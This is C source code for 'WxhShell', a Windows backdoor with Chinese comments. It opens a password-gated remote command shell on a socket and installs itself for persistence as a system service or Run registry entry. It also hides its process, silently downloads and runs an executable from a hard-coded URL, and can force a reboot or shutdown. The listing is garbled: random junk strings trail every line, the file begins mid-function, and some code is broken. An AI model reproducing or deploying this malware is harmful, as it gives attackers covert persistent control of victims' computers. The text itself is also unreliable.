    else { be`\ O  
    closesocket(wsh); ,R=Mr}@u  
    ExitThread(0); C?Dztkz  
    } 4oLrCQZ\  
    break; ![os5H.b#q  
    } R9gK>}>Y  
  // 获取shell *]%{ttR~  
  case 's': { CuPZ0  
    CmdShell(wsh); 9;u$a^R.  
    closesocket(wsh); $b;9oST  
    ExitThread(0); oB8u[ !  
    break; ZbJzf]y:6  
  } yG'5up  
  // 退出 Ip]-OVg  
  case 'x': { Y5fwmH,a-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E1:{5F5/  
    CloseIt(wsh); b,YTw  
    break; sW 7R&t!G  
    } G S-@drZp_  
  // 离开 79<{cexP  
  case 'q': { L.bR\fE   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oDul ?%  
    closesocket(wsh); Klh7&HzR  
    WSACleanup(); Z^9;sb,x  
    exit(1); :(,uaX> {  
    break; )'(7E$d  
        } +_uT1PsBY  
  } djV^A  
  } +\G/j]3f  
uW!',"0ER  
  // 提示信息 P: &XtpP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |4BS\fx~N  
} W:8_S%~d  
  } P6* IR|  
yhQv $D,^f  
  return; b|t` )BF  
} ZLe@O~f;%  
} pE<P;\]k  
// shell模块句柄 T1?fC)  
int CmdShell(SOCKET sock) s=Pwkte  
{ $-Q,@Bztq  
STARTUPINFO si; b Mi,z3z  
ZeroMemory(&si,sizeof(si)); Iz^~=yV)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zh)qo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N ~L3 9  
PROCESS_INFORMATION ProcessInfo; 6rMGl zuRo  
char cmdline[]="cmd"; D]v=/43  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }s{RW<A  
  return 0; OOS(YP@b  
} ! FbW7"yE  
0V ,R|Ln  
// 自身启动模式 /\_`Pkd3m  
int StartFromService(void) -:t<%]RfY  
{ 0 } uEM_a  
typedef struct lN*O</L,"  
{ FR _R"p  
  DWORD ExitStatus; ?B@(W(I  
  DWORD PebBaseAddress; Z8+{ -  
  DWORD AffinityMask; ZWaHG_ U)  
  DWORD BasePriority; .)|r!X  
  ULONG UniqueProcessId; .]g>.  
  ULONG InheritedFromUniqueProcessId; ^il'Q_-{  
}   PROCESS_BASIC_INFORMATION; ]&w>p#_C  
si,fs%D&  
PROCNTQSIP NtQueryInformationProcess; '`=z52  
,TaaXI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -qz;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v|`f8M2  
R"#DR^.;  
  HANDLE             hProcess; 5an#,vCn{  
  PROCESS_BASIC_INFORMATION pbi; ENm\1  
:%Na-j9hV)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Xu $_%+46  
  if(NULL == hInst ) return 0; @x?7J@:  
#rM/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hu.c&Q>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p< Emy%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v??}d   
5hak'#2  
  if (!NtQueryInformationProcess) return 0; -S\74hA  
Z?|\0GR+`5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B'>(kZYMs  
  if(!hProcess) return 0; Q9=vgOW+  
),y{.n:wm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SD paW6(_  
_]H$rf,Rc  
  CloseHandle(hProcess); IM),cOp=  
p*E_Po  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ) D:M_T2  
if(hProcess==NULL) return 0; (5rH 72g(  
4tU3+e5h  
HMODULE hMod; 2i`N26On  
char procName[255]; _svY.p s*  
unsigned long cbNeeded; 0\# uxzdhJ  
=qiX0JT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l/0TNOA  
9{_D"h}}  
  CloseHandle(hProcess); X>l  
@1ZLr  
if(strstr(procName,"services")) return 1; // 以服务启动 ?kvkkycI   
#R v&b@K  
  return 0; // 注册表启动 lx,^Y 647  
} &*iar+vr  
ujsJ;\c  
// 主模块 '|Dm\cy  
int StartWxhshell(LPSTR lpCmdLine) VXlTA>a }  
{ bSsX)wHm  
  SOCKET wsl; ]@_M)[ x  
BOOL val=TRUE; A$ v Cm  
  int port=0; I_N(e|s\U  
  struct sockaddr_in door; fvccut;K  
7JNhCOBB  
  if(wscfg.ws_autoins) Install(); W#!![JDc  
-I4-K%%B`  
port=atoi(lpCmdLine); LyRto  
?LAKH$t  
if(port<=0) port=wscfg.ws_port; G>f-w F6  
7@al)G;~  
  WSADATA data; ,!U 5;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]^:l?F\h  
uCuXY#R+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8t3@ Hi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pn?c6K vO  
  door.sin_family = AF_INET; .PBma/w W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BtDi$d%'  
  door.sin_port = htons(port); sr,8zKM)  
1"{3v@yi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e.9oB<Etp  
closesocket(wsl); m@  b~  
return 1; EdxTaR  
} zS*GYE(l^  
~t\Hb8o  
  if(listen(wsl,2) == INVALID_SOCKET) { BoJ@bOe#  
closesocket(wsl); 3{B`[$  
return 1; Iu`eQG  
} r#LoBfM;^A  
  Wxhshell(wsl); . fq[>zG'&  
  WSACleanup(); fOtin[|}6@  
#|`/K[.xd%  
return 0; O{hGh{y  
C=2"*>lTn  
} 4Sv&iQ=vh  
Z[:fqvXQ  
// 以NT服务方式启动 s8iJl+Jm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  L>Bf}^  
{ '}h[*IB}5  
DWORD   status = 0; qg?O+-+  
  DWORD   specificError = 0xfffffff; Fn0Rq9/@  
)? WiO}"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tkU"/$Vi\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QHnk@ R!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?h4-D:!$L  
  serviceStatus.dwWin32ExitCode     = 0; vQCRs!A  
  serviceStatus.dwServiceSpecificExitCode = 0; ~yz7/?A)TS  
  serviceStatus.dwCheckPoint       = 0; -#T?C ]}  
  serviceStatus.dwWaitHint       = 0; I;kKY  
is_`UDaB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bJ8G5QU  
  if (hServiceStatusHandle==0) return; O.4ty)*  
(m|w&oA/  
status = GetLastError(); SA s wP  
  if (status!=NO_ERROR) H@Dj$U  
{ ;,GE!9HW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \2,7fy'  
    serviceStatus.dwCheckPoint       = 0; |NFX"wv:c<  
    serviceStatus.dwWaitHint       = 0; >AIkkQT  
    serviceStatus.dwWin32ExitCode     = status; ]v96Q/a  
    serviceStatus.dwServiceSpecificExitCode = specificError; o<2H~2/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DP`$gd  
    return; rQgRD)_%w  
  } 6+HpN"?e  
Zn&S7a>7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X]d["  
  serviceStatus.dwCheckPoint       = 0; l%@>)%LA  
  serviceStatus.dwWaitHint       = 0; 513{oM:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g@]G [(  
} +4 U?*:n  
T. nY>Q8  
// 处理NT服务事件,比如:启动、停止 xe5|pBT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !X721lNP  
{ .z7%74p  
switch(fdwControl) \P% E1c#  
{ -Gjz;/s%XH  
case SERVICE_CONTROL_STOP: qD:3;85  
  serviceStatus.dwWin32ExitCode = 0; bf ]W_I]B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rxtp?|v9  
  serviceStatus.dwCheckPoint   = 0; r<4FF=  
  serviceStatus.dwWaitHint     = 0; +BcJHNIB  
  { %|md0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3uA%1 E  
  } g2p/#\D\J  
  return; </0@7  
case SERVICE_CONTROL_PAUSE: !IlsKMZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3 " fBp  
  break; }Jkz0JY~  
case SERVICE_CONTROL_CONTINUE: "C 7-^R#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m }I@:s2  
  break; H SEfpbh  
case SERVICE_CONTROL_INTERROGATE: L2:v#c()#)  
  break; ;~Y0H9`  
}; _r0[ z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o!6gl]U'y9  
} @MMk=/WDw  
;A)w:"m  
// 标准应用程序主函数 3x2*K_A5:Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7,U^v}$   
{ ?:F#WDD  
Iqe=)   
// 获取操作系统版本 U6V+jD}L]  
OsIsNt=GetOsVer(); ``bIqY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v:0.  
|f+|OZY  
  // 从命令行安装 F8{"Rk}  
  if(strpbrk(lpCmdLine,"iI")) Install(); :[f2iZ"  
4L}i`)CmB  
  // 下载执行文件 1j7^2Y|UT`  
if(wscfg.ws_downexe) { 7u/_3x1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QfjgBJo%  
  WinExec(wscfg.ws_filenam,SW_HIDE); -m*IpDi  
} r(9#kLXg  
mZLrU<)Y  
if(!OsIsNt) { nRq @hk  
// 如果时win9x,隐藏进程并且设置为注册表启动 /y/O&`X(  
HideProc(); >R "]{y  
StartWxhshell(lpCmdLine); mD @#,B7A  
} F&? &8.  
else Hbz>D5$  
  if(StartFromService()) ^gx`@^su  
  // 以服务方式启动 /7Z5_q_  
  StartServiceCtrlDispatcher(DispatchTable); }S84^2J_  
else 04{*iS95J  
  // 普通方式启动 p&'oJy.P  
  StartWxhshell(lpCmdLine); PMPB}-d  
.{U@Hva_K  
return 0; ?CSc5b`eo  
} y>}dKbCN  
S !Dq8  
,n&@O,XGy  
D{1k{/cF  
=========================================== 3Z.<=D  
&K Ti[  
*h59Vaoc  
{=n-S2%  
;OjxEXaq  
w6ZyMR,T  
" Y>v(UU  
bs{i@1$  
#include <stdio.h> !ER,o_T<  
#include <string.h> nk8jXZ"w  
#include <windows.h> ,CACQhrng  
#include <winsock2.h> r9:Cq  
#include <winsvc.h> 2xy &mNx  
#include <urlmon.h> q)S70M_1  
x;d*?69f]  
#pragma comment (lib, "Ws2_32.lib") UuDs  
#pragma comment (lib, "urlmon.lib") [k)xn3[  
$-4OveS~B  
#define MAX_USER   100 // 最大客户端连接数 w@ 1g_dy  
#define BUF_SOCK   200 // sock buffer C>\0 "}iD  
#define KEY_BUFF   255 // 输入 buffer GF(<!PC  
@lvvI<U  
#define REBOOT     0   // 重启 I9JiH,+  
#define SHUTDOWN   1   // 关机 8}9B*m  
&fH;A X.  
#define DEF_PORT   5000 // 监听端口 f0UB? |  
mI5BJ  
#define REG_LEN     16   // 注册表键长度 QU0FeGtz  
#define SVC_LEN     80   // NT服务名长度 ]&l.-0jt  
[,;h1m ~iX  
// 从dll定义API fB .xjp?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~zdHJ8tYp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $$my,:nH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <_X`D4g]XO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !V|%n(O"  
FdrH,  
// wxhshell配置信息 5}J|YKyP  
struct WSCFG { 34k}7k~n  
  int ws_port;         // 监听端口 )a:j_jy  
  char ws_passstr[REG_LEN]; // 口令 _ U/[n\oC  
  int ws_autoins;       // 安装标记, 1=yes 0=no U;%I" p`Z/  
  char ws_regname[REG_LEN]; // 注册表键名 \^=Wp'5R  
  char ws_svcname[REG_LEN]; // 服务名 or2BG&W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X~ca8!Dq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6|# +  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4dv5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ){ywk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $nX4!X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $F> #1:=v<  
_ ," -25a  
}; 3awh>1N2 W  
jkz .qo-%  
// default Wxhshell configuration :)/%*<vq,  
struct WSCFG wscfg={DEF_PORT, Grot3a  
    "xuhuanlingzhe", :-Gf GL>]  
    1, a;},y|'E  
    "Wxhshell", 879x(JII  
    "Wxhshell", ^.']-XjC  
            "WxhShell Service", :Bk!YK  
    "Wrsky Windows CmdShell Service", rU^?Z  
    "Please Input Your Password: ", cM9z b6m  
  1, rLt`=bl&&U  
  "http://www.wrsky.com/wxhshell.exe", 3I|&}+Z6  
  "Wxhshell.exe" O3U6"{yJ)  
    }; : z=C   
/$]#L%   
// 消息定义模块 a(|YLN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^Kvbpi,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :`FL95  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iF.eBL%  
char *msg_ws_ext="\n\rExit."; /]0-|Kg+R  
char *msg_ws_end="\n\rQuit."; )HLe8:PG~  
char *msg_ws_boot="\n\rReboot..."; ?`& l Y  
char *msg_ws_poff="\n\rShutdown..."; [(%6]L}  
char *msg_ws_down="\n\rSave to "; >FrF"u:kM  
+f#o ij  
char *msg_ws_err="\n\rErr!"; ,mpvGvAI  
char *msg_ws_ok="\n\rOK!"; =P* YwLb  
<p_r{  
char ExeFile[MAX_PATH]; 1_chO?&,I  
int nUser = 0; `S&(J2KV  
HANDLE handles[MAX_USER]; z5~{WAAI  
int OsIsNt; HiTn5XNf  
:g1C,M~  
SERVICE_STATUS       serviceStatus; 3Thb0\<"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b{:c0z<  
z:m`  
// 函数声明 UkO L7M  
int Install(void); 4Ji6B)B  
int Uninstall(void); ym>>5(bni  
int DownloadFile(char *sURL, SOCKET wsh); XaFu(Xu7  
int Boot(int flag); cP >MsUZWl  
void HideProc(void); )s @ }|`  
int GetOsVer(void); k91ctEp9>  
int Wxhshell(SOCKET wsl); R-lB.9e#M  
void TalkWithClient(void *cs); T6 K?Xr{_  
int CmdShell(SOCKET sock); aSu6SU  
int StartFromService(void); ifo^ M]v  
int StartWxhshell(LPSTR lpCmdLine); *-KgU'u?  
d%IM`S;fh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O' 5xPJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T#L/HD  
*3,GQ%~/z  
// 数据结构和表定义 P)h ZFX  
SERVICE_TABLE_ENTRY DispatchTable[] = FlWgTn>  
{ z(-j%?  
{wscfg.ws_svcname, NTServiceMain}, AOh\%|}  
{NULL, NULL} *} yOL [  
}; :n1^Xw0q  
?Hb5<,1u3  
// 自我安装 p&Os5zw;|  
int Install(void) D{%l 4og  
{ fgmu*\x<  
  char svExeFile[MAX_PATH]; Fpz)@0K;  
  HKEY key; zli@XZ#  
  strcpy(svExeFile,ExeFile); u}zCcWP|L  
]Q?`|a+i  
// 如果是win9x系统,修改注册表设为自启动 H9d! -9I  
if(!OsIsNt) { Mq!vu!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :>@6\    
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (}$pf6s  
  RegCloseKey(key); ;0)|c}n+.5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }N^A (`L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Idy{(Q  
  RegCloseKey(key); R`)^eqB  
  return 0; )qg cz<p?W  
    } ^qn,b/>L  
  } iL^bf*  
} B@v\tpR  
else {  s~A#B)wB  
`WjRb  
// 如果是NT以上系统,安装为系统服务 =F!_ivV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x,f=J4yco  
if (schSCManager!=0) ^/K]id7 2  
{ p2v+sWO  
  SC_HANDLE schService = CreateService c ilo8x`  
  ( %kod31X3<  
  schSCManager, xJ/<G$LNJ0  
  wscfg.ws_svcname, 6P0\t\D0  
  wscfg.ws_svcdisp, \0K3TMl)J  
  SERVICE_ALL_ACCESS, S4r-s;U-v/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "OIra2O  
  SERVICE_AUTO_START, ||M;[-JoJ  
  SERVICE_ERROR_NORMAL, }8H_^G8  
  svExeFile, /dT7:x*  
  NULL, >";I3S-t  
  NULL, o09)esy  
  NULL, \ O*8%  
  NULL, 3Kv~lo^  
  NULL hKZ<PwBi  
  ); Bh'_@PHP  
  if (schService!=0) .7h:/d Y:  
  { lT`y=qR|  
  CloseServiceHandle(schService); aFCma2  
  CloseServiceHandle(schSCManager); @X_<y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8uj;RG  
  strcat(svExeFile,wscfg.ws_svcname); [,s{/32s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  j-H2h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a&'!g)d  
  RegCloseKey(key); q<5AB{Oj?  
  return 0; nnv&~C  
    } oxs0)B  
  } _$&C$q$1y  
  CloseServiceHandle(schSCManager); =) Aav!  
} 6c[&[L%  
} ~,*=j~#h  
gpIq4Q<  
return 1; .u+ZrA#  
} hkifd4#  
+prr~vgE  
// 自我卸载 3RwDIk?>%  
int Uninstall(void) rA=iBb3`  
{ f WUFCbSU  
  HKEY key; z5V~m_RO  
RDX$Wy$@L  
if(!OsIsNt) { =vd9mb-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B+8lp4V9%  
  RegDeleteValue(key,wscfg.ws_regname); 1E1oy( \V  
  RegCloseKey(key); Tz PG(f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8ZnHp~  
  RegDeleteValue(key,wscfg.ws_regname); nfL-E:n=  
  RegCloseKey(key); !Zr 9t|_  
  return 0; @X$~{Vp__  
  } DdI V~CxD  
} riy@n<Z4  
} ~>j5z&:&  
else { 1FkS$ j8:  
i4Ps#R_wx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &bIE"ZBjt  
if (schSCManager!=0) LqDj4[}  
{ !=-{$& {  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fz9 ,p;b  
  if (schService!=0) ~8A !..Z  
  { GKT^rc-YT-  
  if(DeleteService(schService)!=0) { nm8XHk]  
  CloseServiceHandle(schService); B7y^)/  
  CloseServiceHandle(schSCManager); oqXs2F  
  return 0; <WWn1k_  
  } Eku+&f@RB  
  CloseServiceHandle(schService); I1J/de,u  
  } kMCg fL  
  CloseServiceHandle(schSCManager); vXq2="+  
} AW6"1(D  
} L}*s_'_e^>  
Cyn_UE  
return 1; @4ccZ&`  
} B1u.aa$  
x_X%| f  
// 从指定url下载文件 .%\lYk]  
int DownloadFile(char *sURL, SOCKET wsh) rV5QKz6'  
{ gwAZ2w  
  HRESULT hr; [M;B 9-2$  
char seps[]= "/"; K6..N\7  
char *token; @xq jAcfg  
char *file; a7Xa3 vlpO  
char myURL[MAX_PATH]; (**k4c,  
char myFILE[MAX_PATH]; oP%'8%tk  
?Dr_WFNjO  
strcpy(myURL,sURL); _e9S"``  
  token=strtok(myURL,seps); `~+1i5-}  
  while(token!=NULL) Z7$"0%  
  { WxgA{q7:  
    file=token; Xy[*)<  
  token=strtok(NULL,seps); ,`su0P\%#.  
  } :S_3(/} \  
z:Q4E|IX  
GetCurrentDirectory(MAX_PATH,myFILE); +|iJQF  
strcat(myFILE, "\\"); P { 8d.  
strcat(myFILE, file); '1f:8  
  send(wsh,myFILE,strlen(myFILE),0);  ~T'!.^/  
send(wsh,"...",3,0); S.E'fc1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l ;fO]{  
  if(hr==S_OK) r;~2NxMF/  
return 0; pOmHxFOOK  
else =Zt7}V  
return 1; HOY@<'  
fxcCz 5  
} '^6jRI,  
i*3*)ly  
// 系统电源模块 +{7/+Zz  
int Boot(int flag) W["c3c  
{ xnp5XhU  
  HANDLE hToken; k X1#+X  
  TOKEN_PRIVILEGES tkp; FL8?<bU  
]K^#'[  
  if(OsIsNt) { ?T (@<T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N H$!<ffz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5@3hb]J  
    tkp.PrivilegeCount = 1; ej^pFo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #]MV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y!0ZwwW  
if(flag==REBOOT) { k04CSzE"%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eGEeWJ}[$  
  return 0; M{   
} t:N3k ;k  
else { =]Vrl-a`^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q=}U  
  return 0; Nfdh0v  
} o'hwyXy/S  
  } \-F F[:|J  
  else { ky^u.+cZ  
if(flag==REBOOT) { {CVn&|}J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Zf [#~4  
  return 0; V9SkB3-'  
} ndB [f  
else { B}|(/a@*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qz]g4hS  
  return 0; T=- $ok`G  
} `{ 6K~(  
} jeLC)lQ*  
{YT@$K]w,  
return 1; "6} #65  
} +kdZfv>  
mY& HK)  
// win9x进程隐藏模块 TQjM3Ri=V  
void HideProc(void) fd CN?p[_  
{ Ac,Qj`'V  
x_eR/B>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0.4Q-?J  
  if ( hKernel != NULL ) ] 1:pnd  
  { ML= :&M!ao  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OqW (C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UwQyAD]Ht  
    FreeLibrary(hKernel); jy kY8;4  
  } 8t$w/#'@  
~6HaZlBB  
return; to%n2^^K  
} @4ECz>Q  
!JOM+P:  
// 获取操作系统版本 x[w!buV0\  
int GetOsVer(void) g~Hmka_fD1  
{ sm1(I7y  
  OSVERSIONINFO winfo; ^@a|s Sb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XSDudL  
  GetVersionEx(&winfo); x 8v2mnk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I"Gr<?r  
  return 1; a{deN9Qn  
  else =4H"&Eu{  
  return 0; Hb :@]!r>  
} ns/L./z  
{;0+N -U  
// 客户端句柄模块 ? 016  
int Wxhshell(SOCKET wsl) N%K%0o-  
{ ?--EIA8mfp  
  SOCKET wsh; nsM :\t+ p  
  struct sockaddr_in client; Z8yt8O  
  DWORD myID; /A{/  
6k%Lc4W  
  while(nUser<MAX_USER) ,f(:i^iz!  
{ %=t8   
  int nSize=sizeof(client); 4#c-?mh_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WdvXVF  
  if(wsh==INVALID_SOCKET) return 1; (='e9H!3D  
 zG0191f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q8 _8rp-@  
if(handles[nUser]==0) <JyF5  
  closesocket(wsh); d4]9oi{}  
else w]ZE('3%W  
  nUser++; |5h~&kA  
  } iXJ3B&x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mO1r~-~AJ  
{;T7Kg.C  
  return 0; ~$ FgiW  
} UOwEA9q%  
-%g&O-i\  
// 关闭 socket L=1~)>mP  
void CloseIt(SOCKET wsh) BIM!4MHLA  
{ zQNkjQ{mx  
closesocket(wsh); Qe6'W  
nUser--; >#[u"CB  
ExitThread(0); },W<1*|  
} <RFT W}f!  
zZ11J0UI  
// 客户端请求句柄 ^zs]cFN#%  
void TalkWithClient(void *cs) u}:p@j}Zv  
{ %0<-5&GE  
"dN4EA&QJ  
  SOCKET wsh=(SOCKET)cs; ys#V_ysb  
  char pwd[SVC_LEN]; *Mg. * N  
  char cmd[KEY_BUFF]; [Jjb<6[o  
char chr[1]; ;94e   
int i,j; Ld?-Ik~fF>  
 \W',g[Y:  
  while (nUser < MAX_USER) { `1T?\  
-? |-ux  
if(wscfg.ws_passstr) { U/|;u;H=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %JsCw8C6?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MS~|F^g  
  //ZeroMemory(pwd,KEY_BUFF); %9qG|A,cA  
      i=0; F6$QEiDu@  
  while(i<SVC_LEN) { A3Lfh6O  
jZ5 mpYUO  
  // 设置超时 K\2UwX  
  fd_set FdRead; ;:/<XfZ  
  struct timeval TimeOut; !pMp n%r<]  
  FD_ZERO(&FdRead); k ='c*`IE  
  FD_SET(wsh,&FdRead); 2Kg+SLU[~  
  TimeOut.tv_sec=8; [!k#au+#c  
  TimeOut.tv_usec=0; 4-wCk=I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {}W9m)I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "iC*Eoz#.  
j18qY4Gw)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \`!M5FJ  
  pwd=chr[0]; >n^| eAH  
  if(chr[0]==0xd || chr[0]==0xa) { ;Wws;.~  
  pwd=0; F.%g_Xvk:  
  break; =%\y E0#  
  } !4blX'<w  
  i++; i3s,C;7[2  
    } L#|, _j=9  
yl#(jb[?1  
  // 如果是非法用户,关闭 socket 5^}"Tn4I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ycr\vn t  
} T/$6ov+K  
AusCU~:>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xaca=tsO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =(-oQ<@v  
@/w ($w"  
while(1) { f'2Ufd|J|  
3ZF-n`  
  ZeroMemory(cmd,KEY_BUFF); =WYI|3~Cz  
*u|bmt  
      // 自动支持客户端 telnet标准   ?<l,a!V'6  
  j=0; z'(][SB  
  while(j<KEY_BUFF) { J!5>8I(_wX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8)1 k>=  
  cmd[j]=chr[0]; (1|_Nr  
  if(chr[0]==0xa || chr[0]==0xd) { xD#r5  
  cmd[j]=0; ;ZSJ-r  
  break; 9MmAoLm  
  } *&m{)cTs  
  j++; '|9fDzW"]  
    } rerl-T<3  
(q@DBb4  
  // 下载文件 )G a%Eg9  
  if(strstr(cmd,"http://")) { _Kw<4 $0<p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B}(+\Q$I  
  if(DownloadFile(cmd,wsh)) +-VkRr#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %]zaX-2dm!  
  else wTL&m+xr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZE!dg^-L  
  } !5/jDvh  
  else { *A>I)a<:  
QNk\y@yKw  
    switch(cmd[0]) { .BWCGb2bH  
  Do3g^RD#  
  // 帮助 ZP]l%6\.  
  case '?': { <ah!!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BaLvlB  
